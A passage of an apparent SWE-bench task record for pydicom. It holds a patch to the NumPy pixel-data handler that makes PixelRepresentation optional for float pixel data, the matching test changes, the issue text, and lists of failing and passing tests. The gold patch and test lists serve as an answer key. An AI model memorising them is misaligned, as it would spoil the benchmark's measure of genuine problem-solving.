BitsStored | 1 | 1, 8, 12, 16 | Optional |\n++-------------+---------------------------+------+---------------+----------+\n+| (0028,0103) | PixelRepresentation | 1C | 0, 1 | Optional |\n +-------------+---------------------------+------+---------------+----------+\n \n \"\"\"\n@@ -284,16 +286,28 @@ def get_pixeldata(ds: \"Dataset\", read_only: bool = False) -> \"np.ndarray\":\n \"the dataset\"\n )\n \n+ # Attributes required by both Floating Point Image Pixel Module Attributes\n+ # and Image Pixel Description Macro Attributes\n required_elements = [\n- 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n+ 'BitsAllocated', 'Rows', 'Columns',\n 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n+ if px_keyword[0] == 'PixelData':\n+ # Attributess required by Image Pixel Description Macro Attributes\n+ required_elements.extend(['PixelRepresentation', 'BitsStored'])\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\n+ if ds.SamplesPerPixel > 1:\n+ if not hasattr(ds, 'PlanarConfiguration'):\n+ raise AttributeError(\n+ \"Unable to convert the pixel data as the following \"\n+ \"conditionally required element is missing from the dataset: \"\n+ \"PlanarConfiguration\"\n+ )\n \n # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n pixel_data = getattr(ds, px_keyword[0])\n", "test_patch": "diff --git a/pydicom/tests/test_numpy_pixel_data.py b/pydicom/tests/test_numpy_pixel_data.py\n--- a/pydicom/tests/test_numpy_pixel_data.py\n+++ b/pydicom/tests/test_numpy_pixel_data.py\n@@ -26,6 +26,8 @@\n * PlanarConfiguration\n \"\"\"\n \n+from copy import deepcopy\n+\n import pytest\n \n from pydicom import config\n@@ -1068,6 +1070,7 @@ def test_endianness_not_set(self):\n ds.Rows = 10\n ds.Columns = 10\n ds.BitsAllocated = 16\n+ ds.BitsStored = 16\n ds.PixelRepresentation = 0\n ds.SamplesPerPixel = 1\n ds.PhotometricInterpretation = 'MONOCHROME2'\n@@ -1105,16 +1108,60 @@ def test_no_pixel_data_raises(self):\n with pytest.raises(AttributeError, match=msg):\n get_pixeldata(ds)\n \n- def test_missing_required_elem(self):\n+ def test_missing_required_elem_pixel_data_monochrome(self):\n \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n- ds = dcmread(EXPL_16_1_1F)\n- del ds.BitsAllocated\n+ required_attrs = (\n+ 'BitsAllocated',\n+ 'BitsStored',\n+ 'Rows',\n+ 'Columns',\n+ 'SamplesPerPixel',\n+ 'PhotometricInterpretation',\n+ 'PixelRepresentation',\n+ )\n+ for attr in required_attrs:\n+ ds = dcmread(EXPL_16_1_1F)\n+ delattr(ds, attr)\n+ msg = (\n+ r\"Unable to convert the pixel data as the following required \"\n+ r\"elements are missing from the dataset: {}\".format(attr)\n+ )\n+ with pytest.raises(AttributeError, match=msg):\n+ get_pixeldata(ds)\n+\n+ def test_missing_required_elem_pixel_data_color(self):\n+ \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n+ ds = dcmread(EXPL_8_3_1F)\n+ del ds.Rows\n+ del ds.Columns\n+ msg = (\n+ r\"Unable to convert the pixel data as the following required \"\n+ r\"elements are missing from the dataset: Rows, Columns\"\n+ )\n+ with pytest.raises(AttributeError, match=msg):\n+ get_pixeldata(ds)\n+\n+ def test_missing_conditionally_required_elem_pixel_data_color(self):\n+ \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n+ ds = dcmread(EXPL_8_3_1F)\n+ del ds.PlanarConfiguration\n+ msg = (\n+ r\"Unable to convert the pixel data as the following conditionally \"\n+ r\"required element is missing from the dataset: \"\n+ r\"PlanarConfiguration\"\n+ )\n+ with pytest.raises(AttributeError, match=msg):\n+ get_pixeldata(ds)\n+\n+ def test_missing_required_elem_float_pixel_data_monochrome(self):\n+ \"\"\"Tet get_pixeldata raises if dataset missing required element.\"\"\"\n+ ds = dcmread(IMPL_32_1_1F)\n+ ds.FloatPixelData = ds.PixelData\n+ del ds.PixelData\n del ds.Rows\n- del ds.SamplesPerPixel\n msg = (\n r\"Unable to convert the pixel data as the following required \"\n- r\"elements are missing from the dataset: BitsAllocated, Rows, \"\n- r\"SamplesPerPixel\"\n+ r\"elements are missing from the dataset: Rows\"\n )\n with pytest.raises(AttributeError, match=msg):\n get_pixeldata(ds)\n", "problem_statement": "Pixel Representation attribute should be optional for pixel data handler\n**Describe the bug**\r\nThe NumPy pixel data handler currently [requires the Pixel Representation attribute](https://github.com/pydicom/pydicom/blob/8da0b9b215ebfad5756051c891def88e426787e7/pydicom/pixel_data_handlers/numpy_handler.py#L46). This is problematic, because in case of Float Pixel Data or Double Float Pixel Data the attribute shall be absent. Compare [Floating Point Image Pixel Module Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.24.html) versus [Image Pixel Description Macro Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.3.html#table_C.7-11c)\r\n\r\n**Expected behavior**\r\nI would expect the `Dataset.pixel_array` property to be able to decode a Float Pixel Data or Double Float Pixel Data element without presence of the Pixel Representation element in the metadata.\r\n\r\n**Steps To Reproduce**\r\n```python\r\nimport numpy as np\r\nfrom pydicom.dataset import Dataset, FileMetaDataset\r\n\r\n\r\nds = Dataset()\r\nds.file_meta = FileMetaDataset()\r\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\r\n\r\nds.BitsAllocated = 32\r\nds.SamplesPerPixel = 1\r\nds.Rows = 5\r\nds.Columns = 5\r\nds.PhotometricInterpretation = 'MONOCHROME2'\r\n\r\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\r\nds.FloatPixelData = pixel_array.flatten().tobytes()\r\n\r\nnp.array_equal(ds.pixel_array, pixel_array)\r\n```\n", "hints_text": "", "created_at": "2021-08-04T15:22:07Z", "version": "2.2", "FAIL_TO_PASS": ["pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_required_elem_pixel_data_monochrome", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_conditionally_required_elem_pixel_data_color"], "PASS_TO_PASS": ["pydicom/tests/test_numpy_pixel_data.py::test_unsupported_syntaxes", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_environment", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_supported_dataset", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_dcmtk.dcm-data0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG-lossy.dcm-data1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_gdcm.dcm-data2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_jpeg_ls_lossless.dcm-data3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/guest/jy1682/.pydicom/data/emri_small_jpeg_2k_lossless.dcm-data4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG2000.dcm-data5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_RLE.dcm-data6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NoNumpyHandler::test_pixel_array_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_environment", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_unsupported_syntax_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_dataset_pixel_array_handler_needs_convert", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_dataset_pixel_array_no_pixels", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_dcmtk.dcm-data0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG-lossy.dcm-data1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_jpeg_gdcm.dcm-data2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_jpeg_ls_lossless.dcm-data3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/guest/jy1682/.pydicom/data/emri_small_jpeg_2k_lossless.dcm-data4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/JPEG2000.dcm-data5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_can_access_unsupported_dataset[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_RLE.dcm-data6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_pixel_array_8bit_un_signed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[numpy]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[NumPy]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[np]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[np_handler]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_decompress_using_handler[numpy_handler]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_pixel_array_16bit_un_signed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_pixel_array_32bit_un_signed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_1sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_1frame_odd_size", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_1frame_ybr422", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_8bit_3sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/liver_1frame.dcm-data0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/liver.dcm-data1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A.dcm-data2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_rgb_small_odd.dcm-data3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/SC_ybr_full_422_uncompressed.dcm-data4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_2frame.dcm-data5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb.dcm-data6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_2frame.dcm-data7]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small.dcm-data8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/emri_small.dcm-data9]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit.dcm-data10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit_2frame.dcm-data11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_1frame.dcm-data12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose.dcm-data13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit.dcm-data14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_properties[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit_2frame.dcm-data15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_1bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_1bit_1sample_3frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_1sample_1frame_padded", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_1sample_10frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_3sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_16bit_3sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_1sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_1sample_15frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_3sample_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_3sample_2frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_float_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_32bit_float_15frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_64bit_float_1frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_little_64bit_float_15frame", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/liver_1frame.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/liver_expb_1frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/liver.dcm-/n/fs/guest/jy1682/.pydicom/data/liver_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A.dcm-/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/OBXXXX1A_expb_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/MR_small_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/emri_small.dcm-/n/fs/guest/jy1682/.pydicom/data/emri_small_big_endian.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_16bit.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_16bit_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_16bit_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_1frame.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_expb_1frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose.dcm-/n/fs/p-swe-bench/temp/tmpqcg17m39/pydicom__pydicom__2.2/pydicom/data/test_files/rtdose_expb.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_32bit.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_big_endian_datasets[/n/fs/guest/jy1682/.pydicom/data/SC_rgb_32bit_2frame.dcm-/n/fs/guest/jy1682/.pydicom/data/SC_rgb_expb_32bit_2frame.dcm]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_endianness_not_set", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_NumpyHandler::test_read_only", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_no_pixel_data_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_required_elem_pixel_data_color", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_required_elem_float_pixel_data_monochrome", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_unknown_pixel_representation_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_unsupported_syntaxes_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_bad_length_raises", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_missing_padding_warns", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_change_photometric_interpretation", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_array_read_only", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_array_read_only_bit_packed", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_ybr422_excess_padding", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_ybr422_wrong_interpretation", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_float_pixel_data", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_GetPixelData::test_double_float_pixel_data", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[-output0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00-output1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x01-output2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x02-output3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x04-output4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x08-output5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x10-output6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[@-output8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x80-output9]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xaa-output10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xf0-output11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x0f-output12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xff-output13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\x00-output14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\x01-output15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\x80-output16]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x00\\xff-output17]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x01\\x80-output18]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\x80\\x80-output19]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_UnpackBits::test_unpack[\\xff\\x80-output20]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[-input0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00-input1]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x01-input2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x02-input3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x04-input4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x08-input5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x10-input6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[@-input8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x80-input9]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xaa-input10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xf0-input11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x0f-input12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xff-input13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\x00-input14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\x01-input15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\x80-input16]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x00\\xff-input17]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x01\\x80-input18]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\x80\\x80-input19]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack[\\xff\\x80-input20]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_non_binary_input", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_ndarray_input", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_padding", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00@-input0]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x10-input2]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x08-input3]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x04-input4]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x02-input5]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x00\\x01-input6]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x80-input7]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[@-input8]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x10-input10]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x08-input11]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x04-input12]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x02-input13]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[\\x01-input14]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_pack_partial[-input15]", "pydicom/tests/test_numpy_pixel_data.py::TestNumpy_PackBits::test_functional"], "environment_setup_commit": "0fa18d2a2179c92efc22200ed6b3689e66cecf92", "query": "Pixel Representation attribute should be optional for pixel data handler\n**Describe the bug**\r\nThe NumPy pixel data handler currently [requires the Pixel Representation attribute](https://github.com/pydicom/pydicom/blob/8da0b9b215ebfad5756051c891def88e426787e7/pydicom/pixel_data_handlers/numpy_handler.py#L46). This is problematic, because in case of Float Pixel Data or Double Float Pixel Data the attribute shall be absent. Compare [Floating Point Image Pixel Module Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.24.html) versus [Image Pixel Description Macro Attributes](http://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_C.7.6.3.html#table_C.7-11c)\r\n\r\n**Expected behavior**\r\nI would expect the `Dataset.pixel_array` property to be able to decode a Float Pixel Data or Double Float Pixel Data element without presence of the Pixel Representation element in the metadata.\r\n\r\n**Steps To Reproduce**\r\n```python\r\nimport numpy as np\r\nfrom pydicom.dataset import Dataset, FileMetaDataset\r\n\r\n\r\nds = Dataset()\r\nds.file_meta = FileMetaDataset()\r\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\r\n\r\nds.BitsAllocated = 32\r\nds.SamplesPerPixel = 1\r\nds.Rows = 5\r\nds.Columns = 5\r\nds.PhotometricInterpretation = 'MONOCHROME2'\r\n\r\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\r\nds.FloatPixelData = 